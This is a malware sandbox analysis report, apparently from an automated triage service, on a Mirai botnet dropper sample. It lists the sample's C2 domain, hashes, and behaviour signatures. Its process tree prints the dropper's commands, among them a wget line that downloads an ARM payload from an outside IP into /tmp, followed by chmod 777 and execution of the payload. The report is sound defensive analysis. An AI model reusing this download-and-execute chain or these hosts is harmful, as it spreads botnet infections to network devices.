Overview

overview

10

Static

static

1

f5c2c9bc09...50cc57

ubuntu-18.04-amd64

10

f5c2c9bc09...50cc57

debian-9-armhf

10

f5c2c9bc09...50cc57

debian-9-mips

10

f5c2c9bc09...50cc57

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/10/2026, 03:10

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General

  • Target
    f5c2c9bc096da1d3276ef1836c94ed7b02836f973d8ebd76f8b086705050cc57
  • Size 1KB
  • Sample261030-dpdg2av15p
  • SHA256 f5c2c9bc096da1d3276ef1836c94ed7b02836f973d8ebd76f8b086705050cc57
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetbotnetdefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • BOTNET

C2

  • scan.yerco.xyz

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai ARM payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f5c2c9bc096da1d3276ef1836c94ed7b02836f973d8ebd76f8b086705050cc57
    /tmp/f5c2c9bc096da1d3276ef1836c94ed7b02836f973d8ebd76f8b086705050cc57
    1⤵
    • Executes dropped EXE
    PID:646
    • /bin/mkdir
      mkdir -p /tmp/.x
      2⤵
      • Reads runtime system information
      PID:647
    • /bin/uname
      uname -m
      2⤵
        PID:651
      • /usr/bin/wget
        wget -q -O li http://103.210.144.11/backups/.../arm7
        2⤵
        • Writes file to tmp directory
        PID:653
      • /bin/chmod
        chmod 777 li
        2⤵
        • File and Directory Permissions Modification
        PID:676
    • /tmp/.x/li
      ./li arm7
      1⤵
      • Modifies Watchdog functionality
      • Reads runtime system information
      PID:677

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          li
          • Path /tmp/.x/li
          • Size 140KB
          • SHA256 42b16f19cfc9f64c7b0ac61f642f3929940d9feda7012419dccf18c988de7e3c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download